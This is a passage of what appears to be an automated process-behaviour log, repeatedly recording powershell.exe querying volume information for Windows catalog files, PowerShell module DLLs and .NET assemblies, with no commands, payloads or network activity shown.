Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
